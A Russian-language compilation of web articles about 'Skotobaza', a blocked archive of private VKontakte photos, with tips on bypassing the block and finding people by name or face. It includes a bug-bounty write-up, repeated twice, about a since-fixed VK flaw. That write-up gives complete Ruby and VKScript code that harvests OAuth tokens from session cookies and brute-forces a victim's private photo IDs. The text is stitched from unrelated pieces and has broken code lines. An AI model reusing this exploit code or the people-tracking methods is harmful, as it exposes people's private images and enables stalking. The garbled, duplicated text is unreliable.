Есть в сети не совсем легальные сервисы. Например, Скотобаза. Это сайт, на котором хранятся личные фотографии пользователей ВКонтакте. А также когда-либо выложенные и впоследствии удаленные. Еще можно найти скрытых или удаленных друзей. Сайт заблокирован Роскомнадзором, но блокировку можно обойти. На момент блокировки роботы собрали более 106 миллионов фотографий.
Лично мне удалось найти свои фотографии, выложенные в ВК еще 2009 году и давно удаленные.
Традиция слива фотографий в рунете идет еще со Школы уродов начала 2000-х. Школа уродов – это сообщество в живом журнале (LiveJournal), куда выкладывали неудачные фотографии пользователей социальных сетей, чтобы посмеяться. На Скотобазе раньше было что-то подобное, но с 2014 года Скотобаза запустилась как сервис хранения приватных фотографий пользователей ВКонтакте. На самом деле не совсем приватных – если на фото висит замок, то ни в какой Скотобазе оно не окажется. Просто многие выкладывают личные фотографии для ограниченного круга лиц: например, в альбомы закрытого фитнесс-сообщества. Или в открытого. А уж оттуда фотографии перекочевывают в скотобазу.
Прежде всего фото, которые не выложены у пользователя ВКонтакте в открытый доступ, но, тем не менее, где-то как-то были засвечены: в сообществе, в кругу друзей и тому подобных альбомах. В общем вы сможете увидеть больше, чем положено. Хотя не все пользователи есть в скотобазе, и не все новейшие сливы залиты туда. Как я уже сказала, я нашла там свои фото от 2008 года, но новейшие фото пользователей вы вряд ли найдете просто потому, что сервис в настоящий момент перестал собирать фотографии.
Раньше существовал сервис платного удаления фотографий. За 490 рублей можно было купить покой вашего профиля ВК. Фотографии удалялись и больше не добавлялись никогда. Теперь такого сервиса нет, просто сам сайт заблокирован Роскомнадзором. Но это не значит, что на него нельзя зайти в обход блокировки и посмотреть, что там.
Нужно понимать, что фото и видео контент занимает много места, и в два счета такие сайты не сделать. К тому же их все равно блокируют. У Скотобазы был аналог spalili.org, но он больше не работает. То есть его совсем нет – нет даже блокировки, которую можно было бы обойти.
Зеркала у Скотобазы тоже нет. Скотобаза несколько раз пыталась переезжать на разные домены, но их все равно прикрывают.
Обойти блокировку сайта Скотобазы можно. Для этого годятся точно такие же способы, что и для обхода блокировки сайта Рутрекера – оба эти сайта заблокированы Роскомнадзором, и достаточно войти анонимно. Для этого в браузер можно поставить расширение, подробно это описано у меня в . Там для каждого браузера расписаны возможные расширения, и где их взять.
А недавно вышла новая версия Оперы со встроенным VPN, появился еще один способ обойти блокировку. Для этого нужно просто включить режим VPN в настройках оперы, и после этого спокойно заходить на скотобазу. Объясню, на всякий случай, как включить в новой опере VPN.
Во-первых, у вас должна быть новая Опера (не старее сентября 2016) – скачайте, если нет.
Можно заходить на Skotobaza.org.
Если вам совсем лень, то обойти блокировку Скотобазы можно так:
Вводите в поле идентификатор пользователя в контакте, например, id123456, и получаете его фотографии и список друзей.
Если не получилось попасть в базу сайта или в ней ничего не удалось найти, можно попытать удачи на других сайтах. Бывает, что информация, закрытая в ВК, открыта в Одноклассниках, Facebook, Twitter и прочих сетях или выложена на неожиданных сайтах. Итак, вот способы пробить информацию.
Допустим, есть имя и фамилия интересующего вас человека. По ним можно поискать профили человека в других социальных сетях. Для этого попробуйте ввести имя и фамилию в сервисе (people.yandex.ru). Там можно указать и другие уточняющие личность параметры.
Если есть фотография человека, можно использовать известный сервис (https://findface.ru), который теперь ищет также профили в Твиттере. Этот сервис заточен на распознавание лиц: в нем можно, например, найти человека по фотографии, которую вы сделали на улице.
Это значит, что если в двух профилях ВК и Твиттера одно и то же лицо (пусть даже фотографии разные), то по фото с одного профиля можно найти второй профиль.
Можно выполнить по изображению: если есть картинка, которая, по вашему мнению, может служить для этого человека аватаркой где-то еще, то можно выполнить поиск по картинке: вы найдете этого человека на другом сайте. Возможно, на другом сайте будет больше открытой информации о пользователе.
Разница с в том, что FindFace ищет похожие фото, но только в ВК и Twitter. А поиск в Google осуществляется везде по всему интернету, но картинки находятся только идентичные (точь-в точь), умного распознавания лиц тут нет. Похожие картинки в Google тоже выдаются, но схожесть определяется по цвету, форме и т.п., а не по лицу. В Google можно только рассчитывать найти идентичную аватарку на другом сайте.
Итак, для поиска в Google по изображению:
Аналогично можно выполнить поиск по картинке в Яндекс.
Еще есть интересный поиска и отслеживания людей в Facebook. Этот сервис ищет все комментарии определенного пользователя, фотографии, на которых он отмечен и многое другое. Встроенный поиск Facebook очень ограниченный, но сервис помогает обойти ограничения.
Иногда поисковая система (nigma.ru) выдает профили, не найденные в Яндексе. Хотя вроде бы это вторичная система, использующая не свои алгоритмы. Тем не менее, я нашла на первой странице то, что не выдавал Яндекс. Попробуйте, может наткнетесь на что-нибудь интересное. Просто введите в поисковой строке имя и фамилию. Можно попробовать ввести псевдоним человека, если он есть.
К сожалению, в 2017 году способы обхода больше не работают. Я проверяла несколько раз. На данный момент сайт не просто заблокирован Роскомнадзором, но и сам по себе больше не поддерживается – его нет даже в обход блокировки. Видимо создатели решили, что дорого и бессмысленно поддерживать этот сайт на плаву, если в обход блокировки на него заходят все равно единицы. Несколько десятков человек в день заходило, я думаю. А это слишком мало.
Сегодня мы расскажем вам, уважаемые читатели, об одной крайне необычной фишке, которая присутствует в ВК — поиске похожих фотографий, когда вы можете найти пользователей, у которых в профиле загружено такое же изображение.
Зачем это нужно, спросите вы? Существует две основных причины.
Стоит отметить, что сервисов поиска по фотографиям немало, например, он есть у того же Google, но в данном случае поиск осуществляется не по всему интернету, а только по ВКонтакте.
Давайте приступать к поиску. Допустим, что нам необходимо найти клонов или пользователей, у которых загружена определенная фотография.
Первым делом необходимо открыть картинку, которую мы ищем. Если она не загружена в ваш фотоальбом, загрузите ее.
Открываем картинку, например:
Смотрим в адресную строку браузера. Вы должны увидеть адрес примерного такого вида: https://vk.com/photo********_384****** . Под звездочками photo******** скрывается ваш , а цифры 384****** , которые находятся после нижнего подчеркивания, это номер фотографии. Скопируйте это адрес, но без https://vk.com/, то есть у вас должно получиться photo********_384****** .
Закрываем вкладку или оставляем ее открытой и открываем новую, заходим на страницу ВК и выбираем раздел «Мои новости» в меню. Вы увидите новостную ленту:
Если рядом с подразделом «Лента» находится пункт «Фотографии», пропускаете этот шаг. Если пункт отсутствует, нажмите на крестик и добавьте пункт «Фотографии».
Нажимаем на пункт «Фотографии». Появится строка поиска «Поиск по фотографиям».
Пишем в строку слово copy: и добавляем ссылку на фотографию, которую мы скопировали ранее, то есть у вас должно получиться примерно следующее: copy:photo********_384****** . Обратите внимание, что звездочки — это всего лишь пример, под ними находятся id и порядковый номер фотографии! Например, если мы возьмем для поиска определенную фотографию Павла Дурова, то в строке нужно написать, например, copy:photo1_327778612 , где photo1 — id пользователя (Дурова в данном случае), а 327778612 — порядковый номер фотографии. Затем нажимаем на клавишу Enter.
В нашем случае удалось обнаружить 7 одинаковых фотографий.
Если нажать на каждую из них, то можно будет увидеть, какой пользователь или в какой паблик было загружено изображение. Вероятно, поиск осуществляется только по тем фотографиям, которые находятся в открытом доступе. Закрытые от просмотра картинки нам обнаружить не удалось.
tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
Class StandaloneAppsFinder
attr_reader:app_ids
def initialize(params)
@range = params[:in_range]
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
Class StandaloneAppsFinder
attr_reader:app_ids
def initialize(params)
@range = params[:in_range]
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
Те, кто впервые столкнулся со "Скотобазой", будут неприятно удивлены или даже возмущены - таким отталкивающим названием именуется сайт, хранящий миллионы приватных фото пользователей "Вконтакте". Что скрывает в себе этот ресурс и возможно ли получить допуск к его базе - далее.
Ресурс "Скотобаза", собравший на своих серверах около 107 миллионов компрометирующих фотографий пользователей, далеко не новаторский. Еще 15 лет назад в "Живом Журнале" стали публиковать "для прикола" откровенно неудачные фото, выложенные пользователями. "Скотобаза" же ориентировалась (да, именно в прошедшем времени - сегодня сайт не найти в поисковике, так как он закрыт Роспотребнадзором) на контент социальной сети "Вконтакте".
Сразу нужно отметить: если вы выложили фото в альбом с замком "Видно только мне", такое изображение в "Скотобазе" появиться никак не может. Но если вы отправили изображение собеседнику, в закрытое сообщество, в фотоальбом, видимый только друзьям или ограниченной группе человек, то возможно, что оно уже было в достоянии этого сомнительного ресурса.
Многие, узнав, что такое "Скотобаза", прибегали к этому ресурсу, чтобы узнать нечто личное о своих знакомых, врагах, недоброжелателях, проверить свою половинку. Сайт, надо сказать, умело наживался на беспечных пользователях, присылающих слишком личные фото кому не надо и куда не надо. За мзду в размере 490 рублей можно было не только навсегда удалить свои фото из архивов "Скотобазы", но и получить какую-никакую гарантию того, что вы больше не засветитесь на этом ресурсе.
Как уже говорилось, сайт по вполне понятным причинам был закрыт. "Скотобаза" пыталась восстановиться, переезжая на другие домены, но тщетно - к ним тоже блокировали доступ. "Зеркала" у ресурса нет тоже.
В какой-то мере аналогом сайта был схожий ресурс "Спалили", однако он тоже более не работоспособен. Такая же участь настигла и более мелкую копию Poiskvk. Конечно, если "посерфить" в "Одноклассниках", "Вконтакте", "Инстаграме", "Фейсбуке", можно найти закрытые группы и сообщества, где пользователи выкладывают личные и неудавшиеся фото своих случайных собеседников и знакомых (те же когда-то популярные группы "Курицы" и "Петухи" в каждом городе).
Естественно, ресурс размаха "Скотобазы" не появится моментально - нужно много времени хотя бы для того, чтобы накопить такой архив.
После того, как к ресурсу закрыли доступ, в сети появилось много лайфхаков вида "Скотобаза": обход блокировки". Считается, что увидеть базу фотографий возможно, скрыв свой IP-адрес, то есть местоположение себя и своего гаджета, так как Роспотребнадзор правомочен перекрывать доступ только россиянам. Сделать это можно двумя простыми способами:
Обход блокировки, таким способом, можно быстро провести с помощью этих операций.
Узнав про "Скотобазу", многие захотят проверить, не засветились ли они сами или их близкие и знакомые на этом ресурсе. Сделать это очень просто: вписать в окне на главной странице нужный ID пользователя "Вконтакте". Если он присутствует в этой сомнительной базе, то система перенаправит вас на его фотоархив.
Если верить словам некоторых пользователей, то в 2017 году зайти на "Скотобазу" стало уже невозможно, так как ее создатели удалили ресурс, который, видимо, больше не приносит им былой прибыли.
Узнав, что такое "Скотобаза", вы наверняка захотите воспользоваться менее сомнительными сервисами для поиска человека и его фото:
Что такое "Скотобаза" в двух словах - скандальный ресурс, накопивший большую коллекцию приватных фото пользователей "ВК". Если вы хотите найти какого-либо человека или фотографию в Сети, гораздо более целесообразно использовать для этого разрешенные поисковые системы.